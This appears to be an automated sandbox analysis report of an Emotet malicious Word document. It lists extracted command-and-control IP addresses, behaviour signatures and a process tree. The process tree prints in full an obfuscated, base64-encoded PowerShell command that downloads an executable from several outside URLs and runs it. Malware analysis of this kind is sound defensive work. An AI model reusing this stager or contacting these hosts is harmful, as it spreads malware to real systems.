Analysis
- max time kernel
136s - max time network
135s - platform
windows10_x64 - resource
win10 - submitted
15/10/2020, 11:32
General
- Target emotet_e1_f4d4cce8b2ce44089243a31ef86845be70aa9a3263931400ef80da48cea7e9d5_2020-10-15__113028312115._doc.doc
- Size 138KB
- Sample201015-shzfe3tj6e
- SHA256 f4d4cce8b2ce44089243a31ef86845be70aa9a3263931400ef80da48cea7e9d5
Score
10/10
Malware Config
Extracted
Family
-
emotet
Botnet
-
Epoch1
C2
-
188.157.101.114:80
-
192.175.111.214:8080
-
95.85.33.23:8080
-
192.232.229.54:7080
-
181.30.61.163:443
-
186.70.127.199:8090
-
200.127.14.97:80
-
70.169.17.134:80
-
24.232.228.233:80
-
172.104.169.32:8080
-
50.28.51.143:8080
-
177.73.0.98:443
-
149.202.72.142:7080
-
37.187.161.206:8080
-
202.29.239.162:443
-
213.197.182.158:8080
-
202.134.4.210:7080
-
190.24.243.186:80
-
201.213.177.139:80
-
105.209.235.113:8080
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 4 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 11 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_f4d4cce8b2ce44089243a31ef86845be70aa9a3263931400ef80da48cea7e9d5_2020-10-15__113028312115._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABGADUAaQBiAHcAMABjAD0AKAAnAFIAJwArACgAJwA2ACcAKwAnADAAZwBlACcAKQArACcAYQBnACcAKQA7ACQAQgA2ADMAOQB1AHYAawA9ACQASgBmAHoAOAB6AGwAagAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQASABjAG0AMgBzAHUAcgA7ACQAVgBiADEAMgBtAGkAagA9ACgAJwBWADUAJwArACgAJwA3ACcAKwAnADUAMgA1ACcAKQArACcAeAAnACkAOwBbAHMAeQBzAHQAZQBtAC4AaQBvAC4AZABpAHIAZQBjAHQAbwByAHkAXQA6ADoAIgBjAHIAZQBhAHQARQBkAEkAYABSAEUAYwBgAFQATwBgAFIAWQAiACgAJABlAG4AdgA6AHQAbQBwACAAKwAgACgAKAAnAG8AJwArACgAJwBkAGgASQAnACsAJwA4ACcAKQArACcAeQB1ACcAKwAnAHkAJwArACgAJwAxAF8AJwArACcAbwBkAGgAJwArACcASwAnACkAKwAoACcAXwAxACcAKwAnAHIAeQB1AGIAbwAnACkAKwAnAGQAJwArACcAaAAnACkAIAAgAC0AUgBFAHAATABhAEMAZQAgACgAJwBvAGQAJwArACcAaAAnACkALABbAEMAaABBAHIAXQA5ADIAKQApADsAJABWAGMAZQB0ADcAZQBiAD0AKAAoACcATwBuACcAKwAnADIAdAB3ACcAKQArACcAbQBtACcAKQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABjAHUAcgBpAGAAVABZAFAAUgBPAHQATwBjAG8AbAAiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdACgAJwBTACcAKwAoACcAcwAnACsAJwBsADMALAAnACkAKwAnAFQAbAAnACsAKAAnAHMALAAnACsAJwBUAGwAJwApACsAKAAnAHMAMQAxACcAKwAnACwAVABsACcAKQArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQASgBzAG0AYwBsAHAAawA9ACgAKAAnAFcAJwArACcAbABkACcAKQArACgAJwA2ACcAKwAnAHEAcQAnACkAKwAnAGUAJwApADsAJABPAGsANQAyADEAaABiACAAPQAgACgAKAAnAEwAOQA4AHAAJwArACcAcAAwACcAKQArACcAdwAnACkAOwAkAEEANQBoAF8AcwAyADMAPQAoACcATQAnACsAJwAyAHEAJwArACgAJwBqAHIAJwArACcAdQBkACcAKQApADsAJABVAGEAeAB1AGIAaABxAD0AKAAnAEcAagAnACsAKAAnAGQAJwArACcAegBwADkAegAnACkAKQA7ACQARgB3AGEAYQA0AG4ANwA9ACQAZQBuAHYAOgB0AG0AcAArACgAKAAoACcAdAAnACsAJwBuAEYAJwApACsAKAAnAEkAJwArACcAOAB5AHUAeQAnACsAJwAxAF8AdAAnACkAKwAoACcAbgAnACsAJwBGAEsAJwApACsAJwBfADEAJwArACgAJwByAHkAJwArACcAdQBiACcAKQArACgAJwB0ACcAKwAnAG4ARgAnACkAKQAgAC0AQwByAEUAcABMAEEAQwBFACgAJwB0AG4AJwArACcARgAnACkALABbAGMAaABBAFIAXQA5ADIAKQArACQATwBrADUAMgAxAGgAYgArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFcAeQBjAHIAaQBsAHgAPQAoACcATwAnACsAKAAnAHYAJwArACcAbgAxAF8AJwArACcANwBiACcAKQApADsAJABRAG4AMgA5AGQAegB2AD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMATABJAGUAbgBUADsAJABDAGQAMgA0AGwAcAB6AD0AKAAoACcAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwAnACkAKwAnAGYAJwArACcAaQAnACsAKAAnAG4AYQBuACcAKwAnAGMAaQAnACsAJwBhAG0AJwApACsAKAAnAGUAbgB0AG8AaQBuACcAKwAnAHQAJwArACcAZQAnACkAKwAoACcAbAAnACsAJwBpAGcAZQBuAHQAZQAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAHcAcAAnACsAJwAtAGMAJwApACsAJwBvAG4AJwArACgAJwB0AGUAbgB0ACcAKwAnAC8AJwApACsAKAAnAEYAagAnACsAJwAvACcAKQArACgAJwAqACcAKwAnAGgAJwArACcAdAB0AHAAOgAvAC8AJwApACsAJwB3AHcAJwArACcAdwAnACsAKAAnAC4AcgAnACsAJwBlACcAKQArACgAJwBtAG8AdgBlAHAAJwArACcAYwB0ACcAKwAnAHIAJwApACsAKAAnAG8AagAnACsAJwBhACcAKQArACgAJwBuAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAJwAvACcAKwAnAHcAJwArACcAcAAnACsAKAAnAC0AYQAnACsAJwBkAG0AJwApACsAKAAnAGkAbgAvACcAKwAnADYAJwArACcALwAqACcAKQArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYQBhACcAKQArACgAJwBoAG4AJwArACcAYQAnACkAKwAoACcAdAAnACsAJwB1AHIAYQBsAHMALgAnACsAJwBuACcAKQArACgAJwBlAHQALwB3AHAALQAnACsAJwBpAG4AJwArACcAYwBsACcAKwAnAHUAZABlACcAKwAnAHMAJwApACsAKAAnAC8AVABYAC8AJwArACcAKgAnACsAJwBoACcAKQArACgAJwB0AHQAJwArACcAcAAnACsAJwA6AC8ALwB3ACcAKwAnAHcAdwAuACcAKwAnAHMAZgBmADMAZAAuACcAKwAnAGMAbwBtAC8AMwBkAC8AeABrAC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcABzADoALwAvACcAKwAnAGUAbgAnACsAJwBnACcAKwAnAGkAbgBlAGUAcgBpAG4AJwApACsAKAAnAGcALQAnACsAJwAyAHMALgBjAG8AbQAvAFMAUwAnACsAJwBfAFAAJwArACcAYQAnACsAJwB5ACcAKQArACgAJwBwACcAKwAnAGEAbAAnACkAKwAoACcALwAnACsAJwBYAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwAHMAJwArACgAJwA6AC8ALwBsACcAKwAnAHMAbQAnACsAJwBhACcAKQArACgAJwBuAGcAYQAuAGMAJwArACcAbwBtAC8AJwArACcAbQAnACsAJwBpACcAKwAnAGcAcgBhACcAKwAnAHQAaQBvAG4ALwBGAGEAVQAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0AHAAcwA6AC8ALwBiACcAKwAnAGUAdABhACcAKwAnAC4AegBvAG4AJwArACcAZQBiAGUAJwArACcAcgByAHkAJwArACcALgBjACcAKQArACgAJwBvAG0ALwBiAHkAcwB5AHMAdwAnACsAJwBlACcAKwAnAHgAZQAnACkAKwAoACcAYwBmAC8AJwArACcAeAAnACkAKwAnADMAJwArACcALwAnACkALgAiAFMAUABMAGAASQB0ACIAKAAkAFYAdAB4AHAAbABjAHgAIAArACAAJABCADYAMwA5AHUAdgBrACAAKwAgACQASwBjADIAagB5AGMAYwApADsAJABCAGIAbgA0AHMAdwBmAD0AKAAnAEsAJwArACgAJwBzAF8AJwArACcAcQA1ADEAZgAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQgAxADAAYQBhADgAOQAgAGkAbgAgACQAQwBkADIANABsAHAAegApAHsAdAByAHkAewAkAFEAbgAyADkAZAB6AHYALgAiAGQATwBgAFcATgBMAGAATwBhAEQARgBJAGwAZQAiACgAJABCADEAMABhAGEAOAA5ACwAIAAkAEYAdwBhAGEANABuADcAKQA7ACQARgBoADYAOABrAGsAZQA9ACgAKAAnAEEAJwArACcAagBkACcAKQArACcAZwAnACsAKAAnAHYAJwArACcAbwByACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEYAdwBhAGEANABuADcAKQAuACIAbABgAGUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMAMAA3ADYANgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAQQBgAFIAdAAiACgAJABGAHcAYQBhADQAbgA3ACkAOwAkAFYAeQA5AHMAaQBuAGgAPQAoACcARQAnACsAKAAnAGIANAAnACsAJwBjAGcAJwApACsAJwBfAHkAJwApADsAYgByAGUAYQBrADsAJABKAGEAcQBpAGcAawAyAD0AKAAnAE8AJwArACgAJwAzACcAKwAnAGoAdABfADcAJwApACsAJwBhACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgAwAGEAYgBoADcAXwA9ACgAKAAnAFEAdAAnACsAJwBkACcAKQArACcAagAnACsAKAAnAGwAJwArACcAMQA1ACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\I8yuy1_\K_1ryub\L98pp0w.exe"C:\Users\Admin\AppData\Local\Temp\I8yuy1_\K_1ryub\L98pp0w.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\windowslivelogin\UserMgrProxy.exe"C:\Windows\SysWOW64\windowslivelogin\UserMgrProxy.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/204-15-0x00000000022D0000-0x00000000022EE000-memory.dmp
memory/204-14-0x0000000002220000-0x000000000223F000-memory.dmp
memory/2436-19-0x0000000002190000-0x00000000021AE000-memory.dmp
memory/2436-18-0x0000000000650000-0x000000000066F000-memory.dmp
memory/2704-10-0x000001FD79F30000-0x000001FD79F31000-memory.dmp
memory/2704-9-0x000001FD79D80000-0x000001FD79D81000-memory.dmp
memory/2704-8-0x00007FFDB5690000-0x00007FFDB607C000-memory.dmp
memory/3692-0-0x00007FFDBCDC0000-0x00007FFDBD486000-memory.dmp
memory/3692-7-0x0000017F0412A000-0x0000017F0412F000-memory.dmp
memory/3692-6-0x0000017F0412A000-0x0000017F0412F000-memory.dmp
memory/3692-5-0x0000017F04125000-0x0000017F0412A000-memory.dmp
memory/3692-4-0x0000017F04125000-0x0000017F0412A000-memory.dmp
memory/3692-3-0x0000017F03FC7000-0x0000017F03FCC000-memory.dmp
memory/3692-2-0x0000017F03FC7000-0x0000017F03FCC000-memory.dmp
memory/3692-1-0x0000017F03FC6000-0x0000017F03FC7000-memory.dmp